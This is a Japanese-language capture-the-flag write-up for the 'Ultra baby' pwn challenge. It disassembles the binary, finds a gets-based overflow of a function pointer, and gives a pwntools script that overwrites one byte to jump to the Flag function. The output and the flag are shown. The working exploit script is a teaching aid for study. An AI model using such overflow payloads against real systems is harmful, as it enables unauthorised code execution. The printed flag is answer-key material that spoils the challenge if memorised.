Ultra baby

(pwn, 25 points, solved by 238)

Reach the flag function!


nc 9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site 55000

Attachment

pwn25_5ae6e58885e7cd75.zip

与えられたファイルを解凍し、fileコマンドでファイルタイプを確認します。Linuxの64bitバイナリです。
$ file ultrababy 
ultrababy: ELF 64-bit LSB  shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=de50a6b52145c2fed72e45e8f36dd27f0daced16, not stripped
objdumpコマンドで逆アセンブルします。
$ objdump -s -D ultrababy > aaa.txt
アドレス7f3にフラグを出力するFlag関数があります。
00000000000007e0 <Bye>:
 7e0: 55                   push   %rbp
 7e1: 48 89 e5             mov    %rsp,%rbp
 7e4: 48 8d 3d 4d 01 00 00 lea    0x14d(%rip),%rdi #938 Bye bye
 7eb: e8 90 fe ff ff       callq  680 <_init+0x28> #puts
 7f0: 90                   nop
 7f1: 5d                   pop    %rbp
 7f2: c3                   retq   

00000000000007f3 <Flag>:
 7f3: 55                   push   %rbp
 7f4: 48 89 e5             mov    %rsp,%rbp
 7f7: 48 8d 3d 42 01 00 00 lea    0x142(%rip),%rdi #940 EKO{xxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
 7fe: e8 7d fe ff ff       callq  680 <_init+0x28> #puts
 803: 90                   nop
 804: 5d                   pop    %rbp
 805: c3                   retq   
次にmain関数を見てみます。アドレス881で入力を受け付けて、アドレス89eでレジスタrdxが指すアドレスをcallしています。
0000000000000806 <main>:
(略)
 881: e8 02 fe ff ff       callq  688 <_init+0x30> #gets
(略)
 89e: ff d2                 callq  *%rdx #ここのcall先を07f3<Flag>に書き換える
それでは、edbでアドレス89eにBreakpointを設定したときのStackとRegisterの状態を見てみましょう。
 
1 2

Stackのアドレスe2b0に入力文字列が格納されています。そしてアドレスe2c8の値がレジスタのRDXに設定されています。通常はアドレス7e0のBye関数がcallされます。
したがって、入力文字列の25文字目でcallさせるアドレスを上書きできますので、0xf3で上書きしてアドレス7f3をcallさせるようにします。そのPythonプログラムを下記します。
#!/usr/bin/env python2
from pwn import *
import time
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('--local', action='store_true')
args = parser.parse_args()

context.log_level = 'debug'
if args.local:
    p = process('./ultrababy')
else:
    p = remote('9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site', 55000)

time.sleep(0.1)

p.sendline(
''
+ 'A' * 24
+ p8(0xf3) #flag
)
time.sleep(0.1)
p.recvall()
このPythonプログラムを実行すると、次のとおりフラグを出力させることができました。
$ python aaa.py
[+] Opening connection to 9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site on port 55000: Done
[DEBUG] Sent 0x1a bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    00000010  41 41 41 41  41 41 41 41  f3 0a                     │AAAA│AAAA│??│
    0000001a
[+] Recieving all data: Done (66B)
[DEBUG] Received 0x1f bytes:
    'Welcome, give me you best shot\n'
[DEBUG] Received 0x23 bytes:
    'EKO{Welcome_to_pwning_challs_2k16}\n'
[*] Closed connection to 9a958a70ea8697789e52027dc12d7fe98cad7833.ctf.site port 55000
フラグは、
EKO{Welcome_to_pwning_challs_2k16}
です。